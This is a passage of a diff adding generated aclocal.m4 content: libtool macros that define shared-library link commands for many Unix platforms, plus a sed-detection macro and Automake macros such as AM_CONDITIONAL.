+	_LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+      fi
+      _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir'
+      _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
+      _LT_AC_TAGVAR(hardcode_direct, $1)=yes
+
+      # hardcode_minus_L: Not really in the search PATH,
+      # but as the default location of the library.
+      _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes
+      _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
+      ;;
+
+    hpux10*)
+      if test "$GCC" = yes -a "$with_gnu_ld" = no; then
+	_LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+      else
+	_LT_AC_TAGVAR(archive_cmds, $1)='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
+      fi
+      if test "$with_gnu_ld" = no; then
+	_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir'
+	_LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
+
+	_LT_AC_TAGVAR(hardcode_direct, $1)=yes
+	_LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
+
+	# hardcode_minus_L: Not really in the search PATH,
+	# but as the default location of the library.
+	_LT_AC_TAGVAR(hardcode_minus_L, $1)=yes
+      fi
+      ;;
+
+    hpux11*)
+      if test "$GCC" = yes -a "$with_gnu_ld" = no; then
+	case $host_cpu in
+	hppa*64*)
+	  _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+	  ;;
+	ia64*)
+	  _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+	  ;;
+	*)
+	  _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+	  ;;
+	esac
+      else
+	case $host_cpu in
+	hppa*64*)
+	  _LT_AC_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+	  ;;
+	ia64*)
+	  _LT_AC_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+	  ;;
+	*)
+	  _LT_AC_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+	  ;;
+	esac
+      fi
+      if test "$with_gnu_ld" = no; then
+	_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir'
+	_LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
+
+	case $host_cpu in
+	hppa*64*|ia64*)
+	  _LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)='+b $libdir'
+	  _LT_AC_TAGVAR(hardcode_direct, $1)=no
+	  _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
+	  ;;
+	*)
+	  _LT_AC_TAGVAR(hardcode_direct, $1)=yes
+	  _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
+
+	  # hardcode_minus_L: Not really in the search PATH,
+	  # but as the default location of the library.
+	  _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes
+	  ;;
+	esac
+      fi
+      ;;
+
+    irix5* | irix6* | nonstopux*)
+      if test "$GCC" = yes; then
+	_LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+      else
+	_LT_AC_TAGVAR(archive_cmds, $1)='$LD -shared $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
+	_LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)='-rpath $libdir'
+      fi
+      _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
+      _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
+      _LT_AC_TAGVAR(link_all_deplibs, $1)=yes
+      ;;
+
+    netbsd* | netbsdelf*-gnu)
+      if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
+	_LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags'  # a.out
+      else
+	_LT_AC_TAGVAR(archive_cmds, $1)='$LD -shared -o $lib $libobjs $deplibs $linker_flags'      # ELF
+      fi
+      _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir'
+      _LT_AC_TAGVAR(hardcode_direct, $1)=yes
+      _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
+      ;;
+
+    newsos6)
+      _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
+      _LT_AC_TAGVAR(hardcode_direct, $1)=yes
+      _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
+      _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
+      _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
+      ;;
+
+    openbsd*)
+      _LT_AC_TAGVAR(hardcode_direct, $1)=yes
+      _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
+      if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
+	_LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
+	_LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-retain-symbols-file,$export_symbols'
+	_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir'
+	_LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
+      else
+       case $host_os in
+	 openbsd[[01]].* | openbsd2.[[0-7]] | openbsd2.[[0-7]].*)
+	   _LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags'
+	   _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir'
+	   ;;
+	 *)
+	   _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
+	   _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir'
+	   ;;
+       esac
+      fi
+      ;;
+
+    os2*)
+      _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
+      _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes
+      _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported
+      _LT_AC_TAGVAR(archive_cmds, $1)='$echo "LIBRARY $libname INITINSTANCE" > $output_objdir/$libname.def~$echo "DESCRIPTION \"$libname\"" >> $output_objdir/$libname.def~$echo DATA >> $output_objdir/$libname.def~$echo " SINGLE NONSHARED" >> $output_objdir/$libname.def~$echo EXPORTS >> $output_objdir/$libname.def~emxexp $libobjs >> $output_objdir/$libname.def~$CC -Zdll -Zcrtdll -o $lib $libobjs $deplibs $compiler_flags $output_objdir/$libname.def'
+      _LT_AC_TAGVAR(old_archive_From_new_cmds, $1)='emximp -o $output_objdir/$libname.a $output_objdir/$libname.def'
+      ;;
+
+    osf3*)
+      if test "$GCC" = yes; then
+	_LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*'
+	_LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+      else
+	_LT_AC_TAGVAR(allow_undefined_flag, $1)=' -expect_unresolved \*'
+	_LT_AC_TAGVAR(archive_cmds, $1)='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
+      fi
+      _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
+      _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
+      ;;
+
+    osf4* | osf5*)	# as osf3* with the addition of -msym flag
+      if test "$GCC" = yes; then
+	_LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*'
+	_LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+	_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
+      else
+	_LT_AC_TAGVAR(allow_undefined_flag, $1)=' -expect_unresolved \*'
+	_LT_AC_TAGVAR(archive_cmds, $1)='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -msym -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
+	_LT_AC_TAGVAR(archive_expsym_cmds, $1)='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done; echo "-hidden">> $lib.exp~
+	$LD -shared${allow_undefined_flag} -input $lib.exp $linker_flags $libobjs $deplibs -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib~$rm $lib.exp'
+
+	# Both c and cxx compiler support -rpath directly
+	_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-rpath $libdir'
+      fi
+      _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
+      ;;
+
+    solaris*)
+      _LT_AC_TAGVAR(no_undefined_flag, $1)=' -z text'
+      if test "$GCC" = yes; then
+	wlarc='${wl}'
+	_LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+	_LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
+	  $CC -shared ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$rm $lib.exp'
+      else
+	wlarc=''
+	_LT_AC_TAGVAR(archive_cmds, $1)='$LD -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $linker_flags'
+	_LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
+  	$LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $linker_flags~$rm $lib.exp'
+      fi
+      _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir'
+      _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
+      case $host_os in
+      solaris2.[[0-5]] | solaris2.[[0-5]].*) ;;
+      *)
+ 	# The compiler driver will combine linker options so we
+ 	# cannot just pass the convience library names through
+ 	# without $wl, iff we do not link with $LD.
+ 	# Luckily, gcc supports the same syntax we need for Sun Studio.
+ 	# Supported since Solaris 2.6 (maybe 2.5.1?)
+ 	case $wlarc in
+ 	'')
+ 	  _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='-z allextract$convenience -z defaultextract' ;;
+ 	*)
+ 	  _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='${wl}-z ${wl}allextract`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}-z ${wl}defaultextract' ;;
+ 	esac ;;
+      esac
+      _LT_AC_TAGVAR(link_all_deplibs, $1)=yes
+      ;;
+
+    sunos4*)
+      if test "x$host_vendor" = xsequent; then
+	# Use $CC to link under sequent, because it throws in some extra .o
+	# files that make .init and .fini sections work.
+	_LT_AC_TAGVAR(archive_cmds, $1)='$CC -G ${wl}-h $soname -o $lib $libobjs $deplibs $compiler_flags'
+      else
+	_LT_AC_TAGVAR(archive_cmds, $1)='$LD -assert pure-text -Bstatic -o $lib $libobjs $deplibs $linker_flags'
+      fi
+      _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
+      _LT_AC_TAGVAR(hardcode_direct, $1)=yes
+      _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes
+      _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
+      ;;
+
+    sysv4)
+      case $host_vendor in
+	sni)
+	  _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
+	  _LT_AC_TAGVAR(hardcode_direct, $1)=yes # is this really true???
+	;;
+	siemens)
+	  ## LD is ld it makes a PLAMLIB
+	  ## CC just makes a GrossModule.
+	  _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -o $lib $libobjs $deplibs $linker_flags'
+	  _LT_AC_TAGVAR(reload_cmds, $1)='$CC -r -o $output$reload_objs'
+	  _LT_AC_TAGVAR(hardcode_direct, $1)=no
+        ;;
+	motorola)
+	  _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
+	  _LT_AC_TAGVAR(hardcode_direct, $1)=no #Motorola manual says yes, but my tests say they lie
+	;;
+      esac
+      runpath_var='LD_RUN_PATH'
+      _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
+      ;;
+
+    sysv4.3*)
+      _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
+      _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
+      _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='-Bexport'
+      ;;
+
+    sysv4*MP*)
+      if test -d /usr/nec; then
+	_LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
+	_LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
+	runpath_var=LD_RUN_PATH
+	hardcode_runpath_var=yes
+	_LT_AC_TAGVAR(ld_shlibs, $1)=yes
+      fi
+      ;;
+
+    sysv4*uw2* | sysv5OpenUNIX* | sysv5UnixWare7.[[01]].[[10]]* | unixware7*)
+      _LT_AC_TAGVAR(no_undefined_flag, $1)='${wl}-z,text'
+      _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
+      _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
+      runpath_var='LD_RUN_PATH'
+
+      if test "$GCC" = yes; then
+	_LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
+	_LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
+      else
+	_LT_AC_TAGVAR(archive_cmds, $1)='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
+	_LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
+      fi
+      ;;
+
+    sysv5* | sco3.2v5* | sco5v6*)
+      # Note: We can NOT use -z defs as we might desire, because we do not
+      # link with -lc, and that would cause any symbols used from libc to
+      # always be unresolved, which means just about no library would
+      # ever link correctly.  If we're not using GNU ld we use -z text
+      # though, which does catch some bad symbols but isn't as heavy-handed
+      # as -z defs.
+      _LT_AC_TAGVAR(no_undefined_flag, $1)='${wl}-z,text'
+      _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-z,nodefs'
+      _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
+      _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
+      _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='`test -z "$SCOABSPATH" && echo ${wl}-R,$libdir`'
+      _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=':'
+      _LT_AC_TAGVAR(link_all_deplibs, $1)=yes
+      _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-Bexport'
+      runpath_var='LD_RUN_PATH'
+
+      if test "$GCC" = yes; then
+	_LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
+	_LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
+      else
+	_LT_AC_TAGVAR(archive_cmds, $1)='$CC -G ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
+	_LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
+      fi
+      ;;
+
+    uts4*)
+      _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
+      _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
+      _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
+      ;;
+
+    *)
+      _LT_AC_TAGVAR(ld_shlibs, $1)=no
+      ;;
+    esac
+  fi
+])
+AC_MSG_RESULT([$_LT_AC_TAGVAR(ld_shlibs, $1)])
+test "$_LT_AC_TAGVAR(ld_shlibs, $1)" = no && can_build_shared=no
+
+#
+# Do we need to explicitly link libc?
+#
+case "x$_LT_AC_TAGVAR(archive_cmds_need_lc, $1)" in
+x|xyes)
+  # Assume -lc should be added
+  _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=yes
+
+  if test "$enable_shared" = yes && test "$GCC" = yes; then
+    case $_LT_AC_TAGVAR(archive_cmds, $1) in
+    *'~'*)
+      # FIXME: we may have to deal with multi-command sequences.
+      ;;
+    '$CC '*)
+      # Test whether the compiler implicitly links with -lc since on some
+      # systems, -lgcc has to come before -lc. If gcc already passes -lc
+      # to ld, don't add -lc before -lgcc.
+      AC_MSG_CHECKING([whether -lc should be explicitly linked in])
+      $rm conftest*
+      printf "$lt_simple_compile_test_code" > conftest.$ac_ext
+
+      if AC_TRY_EVAL(ac_compile) 2>conftest.err; then
+        soname=conftest
+        lib=conftest
+        libobjs=conftest.$ac_objext
+        deplibs=
+        wl=$_LT_AC_TAGVAR(lt_prog_compiler_wl, $1)
+	pic_flag=$_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)
+        compiler_flags=-v
+        linker_flags=-v
+        verstring=
+        output_objdir=.
+        libname=conftest
+        lt_save_allow_undefined_flag=$_LT_AC_TAGVAR(allow_undefined_flag, $1)
+        _LT_AC_TAGVAR(allow_undefined_flag, $1)=
+        if AC_TRY_EVAL(_LT_AC_TAGVAR(archive_cmds, $1) 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1)
+        then
+	  _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
+        else
+	  _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=yes
+        fi
+        _LT_AC_TAGVAR(allow_undefined_flag, $1)=$lt_save_allow_undefined_flag
+      else
+        cat conftest.err 1>&5
+      fi
+      $rm conftest*
+      AC_MSG_RESULT([$_LT_AC_TAGVAR(archive_cmds_need_lc, $1)])
+      ;;
+    esac
+  fi
+  ;;
+esac
+])# AC_LIBTOOL_PROG_LD_SHLIBS
+
+
+# _LT_AC_FILE_LTDLL_C
+# -------------------
+# Be careful that the start marker always follows a newline.
+AC_DEFUN([_LT_AC_FILE_LTDLL_C], [
+# /* ltdll.c starts here */
+# #define WIN32_LEAN_AND_MEAN
+# #include <windows.h>
+# #undef WIN32_LEAN_AND_MEAN
+# #include <stdio.h>
+#
+# #ifndef __CYGWIN__
+# #  ifdef __CYGWIN32__
+# #    define __CYGWIN__ __CYGWIN32__
+# #  endif
+# #endif
+#
+# #ifdef __cplusplus
+# extern "C" {
+# #endif
+# BOOL APIENTRY DllMain (HINSTANCE hInst, DWORD reason, LPVOID reserved);
+# #ifdef __cplusplus
+# }
+# #endif
+#
+# #ifdef __CYGWIN__
+# #include <cygwin/cygwin_dll.h>
+# DECLARE_CYGWIN_DLL( DllMain );
+# #endif
+# HINSTANCE __hDllInstance_base;
+#
+# BOOL APIENTRY
+# DllMain (HINSTANCE hInst, DWORD reason, LPVOID reserved)
+# {
+#   __hDllInstance_base = hInst;
+#   return TRUE;
+# }
+# /* ltdll.c ends here */
+])# _LT_AC_FILE_LTDLL_C
+
+
+# _LT_AC_TAGVAR(VARNAME, [TAGNAME])
+# ---------------------------------
+AC_DEFUN([_LT_AC_TAGVAR], [ifelse([$2], [], [$1], [$1_$2])])
+
+
+# old names
+AC_DEFUN([AM_PROG_LIBTOOL],   [AC_PROG_LIBTOOL])
+AC_DEFUN([AM_ENABLE_SHARED],  [AC_ENABLE_SHARED($@)])
+AC_DEFUN([AM_ENABLE_STATIC],  [AC_ENABLE_STATIC($@)])
+AC_DEFUN([AM_DISABLE_SHARED], [AC_DISABLE_SHARED($@)])
+AC_DEFUN([AM_DISABLE_STATIC], [AC_DISABLE_STATIC($@)])
+AC_DEFUN([AM_PROG_LD],        [AC_PROG_LD])
+AC_DEFUN([AM_PROG_NM],        [AC_PROG_NM])
+
+# This is just to silence aclocal about the macro not being used
+ifelse([AC_DISABLE_FAST_INSTALL])
+
+AC_DEFUN([LT_AC_PROG_GCJ],
+[AC_CHECK_TOOL(GCJ, gcj, no)
+  test "x${GCJFLAGS+set}" = xset || GCJFLAGS="-g -O2"
+  AC_SUBST(GCJFLAGS)
+])
+
+AC_DEFUN([LT_AC_PROG_RC],
+[AC_CHECK_TOOL(RC, windres, no)
+])
+
+# NOTE: This macro has been submitted for inclusion into   #
+#  GNU Autoconf as AC_PROG_SED.  When it is available in   #
+#  a released version of Autoconf we should remove this    #
+#  macro and use it instead.                               #
+# LT_AC_PROG_SED
+# --------------
+# Check for a fully-functional sed program, that truncates
+# as few characters as possible.  Prefer GNU sed if found.
+AC_DEFUN([LT_AC_PROG_SED],
+[AC_MSG_CHECKING([for a sed that does not truncate output])
+AC_CACHE_VAL(lt_cv_path_SED,
+[# Loop through the user's path and test for sed and gsed.
+# Then use that list of sed's as ones to test for truncation.
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+  IFS=$as_save_IFS
+  test -z "$as_dir" && as_dir=.
+  for lt_ac_prog in sed gsed; do
+    for ac_exec_ext in '' $ac_executable_extensions; do
+      if $as_executable_p "$as_dir/$lt_ac_prog$ac_exec_ext"; then
+        lt_ac_sed_list="$lt_ac_sed_list $as_dir/$lt_ac_prog$ac_exec_ext"
+      fi
+    done
+  done
+done
+lt_ac_max=0
+lt_ac_count=0
+# Add /usr/xpg4/bin/sed as it is typically found on Solaris
+# along with /bin/sed that truncates output.
+for lt_ac_sed in $lt_ac_sed_list /usr/xpg4/bin/sed; do
+  test ! -f $lt_ac_sed && continue
+  cat /dev/null > conftest.in
+  lt_ac_count=0
+  echo $ECHO_N "0123456789$ECHO_C" >conftest.in
+  # Check for GNU sed and select it if it is found.
+  if "$lt_ac_sed" --version 2>&1 < /dev/null | grep 'GNU' > /dev/null; then
+    lt_cv_path_SED=$lt_ac_sed
+    break
+  fi
+  while true; do
+    cat conftest.in conftest.in >conftest.tmp
+    mv conftest.tmp conftest.in
+    cp conftest.in conftest.nl
+    echo >>conftest.nl
+    $lt_ac_sed -e 's/a$//' < conftest.nl >conftest.out || break
+    cmp -s conftest.out conftest.nl || break
+    # 10000 chars as input seems more than enough
+    test $lt_ac_count -gt 10 && break
+    lt_ac_count=`expr $lt_ac_count + 1`
+    if test $lt_ac_count -gt $lt_ac_max; then
+      lt_ac_max=$lt_ac_count
+      lt_cv_path_SED=$lt_ac_sed
+    fi
+  done
+done
+])
+SED=$lt_cv_path_SED
+AC_MSG_RESULT([$SED])
+])
+
+# Copyright (C) 2002, 2003, 2005  Free Software Foundation, Inc.
+#
+# This file is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# AM_AUTOMAKE_VERSION(VERSION)
+# ----------------------------
+# Automake X.Y traces this macro to ensure aclocal.m4 has been
+# generated from the m4 files accompanying Automake X.Y.
+AC_DEFUN([AM_AUTOMAKE_VERSION], [am__api_version="1.9"])
+
+# AM_SET_CURRENT_AUTOMAKE_VERSION
+# -------------------------------
+# Call AM_AUTOMAKE_VERSION so it can be traced.
+# This function is AC_REQUIREd by AC_INIT_AUTOMAKE.
+AC_DEFUN([AM_SET_CURRENT_AUTOMAKE_VERSION],
+	 [AM_AUTOMAKE_VERSION([1.9.6])])
+
+# AM_AUX_DIR_EXPAND                                         -*- Autoconf -*-
+
+# Copyright (C) 2001, 2003, 2005  Free Software Foundation, Inc.
+#
+# This file is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# For projects using AC_CONFIG_AUX_DIR([foo]), Autoconf sets
+# $ac_aux_dir to `$srcdir/foo'.  In other projects, it is set to
+# `$srcdir', `$srcdir/..', or `$srcdir/../..'.
+#
+# Of course, Automake must honor this variable whenever it calls a
+# tool from the auxiliary directory.  The problem is that $srcdir (and
+# therefore $ac_aux_dir as well) can be either absolute or relative,
+# depending on how configure is run.  This is pretty annoying, since
+# it makes $ac_aux_dir quite unusable in subdirectories: in the top
+# source directory, any form will work fine, but in subdirectories a
+# relative path needs to be adjusted first.
+#
+# $ac_aux_dir/missing
+#    fails when called from a subdirectory if $ac_aux_dir is relative
+# $top_srcdir/$ac_aux_dir/missing
+#    fails if $ac_aux_dir is absolute,
+#    fails when called from a subdirectory in a VPATH build with
+#          a relative $ac_aux_dir
+#
+# The reason of the latter failure is that $top_srcdir and $ac_aux_dir
+# are both prefixed by $srcdir.  In an in-source build this is usually
+# harmless because $srcdir is `.', but things will broke when you
+# start a VPATH build or use an absolute $srcdir.
+#
+# So we could use something similar to $top_srcdir/$ac_aux_dir/missing,
+# iff we strip the leading $srcdir from $ac_aux_dir.  That would be:
+#   am_aux_dir='\$(top_srcdir)/'`expr "$ac_aux_dir" : "$srcdir//*\(.*\)"`
+# and then we would define $MISSING as
+#   MISSING="\${SHELL} $am_aux_dir/missing"
+# This will work as long as MISSING is not called from configure, because
+# unfortunately $(top_srcdir) has no meaning in configure.
+# However there are other variables, like CC, which are often used in
+# configure, and could therefore not use this "fixed" $ac_aux_dir.
+#
+# Another solution, used here, is to always expand $ac_aux_dir to an
+# absolute PATH.  The drawback is that using absolute paths prevent a
+# configured tree to be moved without reconfiguration.
+
+AC_DEFUN([AM_AUX_DIR_EXPAND],
+[dnl Rely on autoconf to set up CDPATH properly.
+AC_PREREQ([2.50])dnl
+# expand $ac_aux_dir to an absolute path
+am_aux_dir=`cd $ac_aux_dir && pwd`
+])
+
+# AM_CONDITIONAL                                            -*- Autoconf -*-
+
+# Copyright (C) 1997, 2000, 2001, 2003, 2004, 2005
+# Free Software Foundation, Inc.
+#
+# This file is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# serial 7
+
+# AM_CONDITIONAL(NAME, SHELL-CONDITION)
+# -------------------------------------
+# Define a conditional.
+AC_DEFUN([AM_CONDITIONAL],
+[AC_PREREQ(2.52)dnl
+ ifelse([$1], [TRUE],  [AC_FATAL([$0: invalid condition: $1])],
+	[$1], [FALSE], [AC_FATAL([$0: invalid condition: $1])])dnl
+AC_SUBST([$1_TRUE])
+AC_SUBST([$1_FALSE])
+if $2; then
+  $1_TRUE=
+  $1_FALSE='#'
+else
+  $1_TRUE='#'
+  $1_FALSE=
+fi
+AC_CONFIG_COMMANDS_PRE(
+[if test -z "${$1_TRUE}" && test -z "${$1_FALSE}"; then
+  AC_MSG_ERROR([[conditional "$1" was never defined.
+Usually this means the macro was only invoked conditionally.]])
+fi])])
+
+
+# Copyright (C) 1999, 2000, 2001, 2002, 2003, 2004, 2005
+# Free Software Foundation, Inc.
+#
+# This file is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# serial 8
+
+# There are a few dirty hacks below to avoid letting `AC_PROG_CC' be
+# written in clear, in which case automake, when reading aclocal.m4,
+# will think it sees a *use*, and therefore will trigger all it's
+# C support machinery.  Also note that it means that autoscan, seeing
+# CC etc. in the Makefile, will ask for an AC_PROG_CC use...
+
+
